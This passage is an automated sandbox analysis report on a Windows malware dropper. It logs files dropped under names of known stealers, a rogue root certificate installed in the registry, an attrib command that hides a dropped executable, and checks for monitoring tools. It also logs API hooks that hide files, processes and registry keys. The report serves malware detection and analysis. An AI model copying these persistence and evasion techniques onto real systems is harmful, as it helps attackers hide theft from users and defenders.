Source: 24.2.upd.exe.f32a9b.4.raw.unpack, A2H1lUZ15GsIooGy4G.cs	High entropy of concatenated method names: 'VLtNrlitgDle4PopLBp', 'HWNoffi6PMq6n85kbnD', 'LtQPyoxJn7', 'cCUuNSiBNRsObS6wqcY', 'ladkAuiG1rPbypyeG6w', 'Nsq1boiL9dewTf3sa6B', 'g38PJ8K3c0', 'AZCPHbxqQi', 'kjCPpoa2Hi', 'zssPO0JXVk'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"

Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\lrthijawd[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	File created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\judit[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\lumma123[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	File created: C:\ProgramData\okili\peombdb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\services64[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File created: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	File created: C:\ProgramData\WindowsServices\WindowsAutHost	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\upd[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	File created: C:\ProgramData\okili\peombdb.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	File created: C:\ProgramData\WindowsServices\WindowsAutHost			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

File created: C:\ProgramData\WindowsServices\WindowsAutHost

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Memory written: PID: 7964 base: 7FFEFE690008 value: E9 EB D9 E9 FF
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Memory written: PID: 7964 base: 7FFEFE52D9F0 value: E9 20 26 16 00
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Memory written: PID: 7964 base: 7FFEFE6A000D value: E9 BB CB EB FF
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Memory written: PID: 7964 base: 7FFEFE55CBC0 value: E9 5A 34 14 00

Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
